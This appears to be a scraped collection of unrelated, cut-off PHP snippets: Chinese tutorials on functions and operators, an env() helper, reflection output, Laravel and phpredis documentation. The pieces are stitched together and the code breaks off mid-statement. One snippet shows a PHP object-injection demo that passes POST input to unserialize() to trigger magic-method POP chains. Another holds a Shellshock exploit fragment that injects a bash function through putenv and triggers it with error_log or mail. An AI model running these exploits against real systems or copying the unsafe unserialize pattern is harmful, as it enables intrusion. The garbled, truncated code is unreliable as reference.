function myFunction($param1 = “default value 1”, $param2 = “default value 2”) { // 函数体 } “` 在上述示例中,`$param1` 和 `$param2` 分别具有默认值 “default value 1” 和“default value 2″。依次类推,如果调用函数时没有为这两个参数提供实参,则它们将分别使用默认值。 需要注意的...
== 不全等: 只有全等时为false, 其余都是true 逻辑运算符 逻辑运算符 含义: 注意: 所有的逻辑运算符结果都是: bool值 逻辑与 && 两边为真即为真, 一边为假即为假 逻辑或 一边为真即为真, 两边为假即为假 逻辑非 ! 真即是假, 假即是真 三元运算符 三元运算符 ++ – ! …等 一元运算符 + – *...
php if (!function_exists('env')) { function env($key, $default = null) { $value = getenv($key,true)?:getenv($key); switch ($value) { case "true": return true; case "false": return false; case "": return $default; case "null": return null; default : $valueLength = strlen...
function functionName( 参数1,参数2,...) { 被执行的代码; } <?php function say($name) { echo "nihao,".$name; } say("Alice"); // nihao,Alice ?> 函数返回值 <?php function sum($x,$y) { $z=$x+$y; return $z; } echo "5 + 10 = " . sum(5,10) . ""; echo "7 + 1...
foreach ($function->getParameters() as$param) { echo'Name: '.$param->getName() .PHP_EOL; if ($param->isOptional()) { echo'Default value: '.$param->getDefaultValue() .PHP_EOL; } echoPHP_EOL; } ?> 以上例程会输出: Name: test Name: bar Default value: baz ...
__METHOD__; echo ""; return array("name"); } function __wakeup() { echo "调用 " . __METHOD__; echo ""; } } if (isset($_POST['submit'])) { $b = $_POST['a']; unserialize($b); } ?> 这里我们直接提交序列化的内容就调用了__wakeup__toString()__toString作为pop链...
1$request->whenHas('name', function ($input) { 2 // 3});A second closure may be passed to the whenHas method that will be executed if the specified value is not present on the request:1$request->whenHas('name', function ($input) { 2 // The "name" value is present... 3},...
=FALSE){$tmp=tempnam(sys_get_temp_dir(),'as');putenv("PHP_LOL=() { x; };$c>$tmp2>&1");if(function_exists('error_log')) {error_log("a",1);}else{mail("a@127.0.0.1","","","-bv");}}else{print("Not vuln (not bash)\n");}$output= @file_get_contents($tmp);@...
The fromStorageDisk method may be used if you need to specify a storage disk other than your default disk:1/** 2 * Get the attachments for the message. 3 * 4 * @return array<int, \Illuminate\Mail\Mailables\Attachment> 5 */ 6public function attachments(): array 7{ 8 return [ 9 ...
Note: This function took a single argument and returned TRUE or FALSE in phpredis versions < 4.0.0. incr, incrBy Description: Increment the number stored at key by one. If the second argument is filled, it will be used as the integer value of the increment. Parameters key value: value ...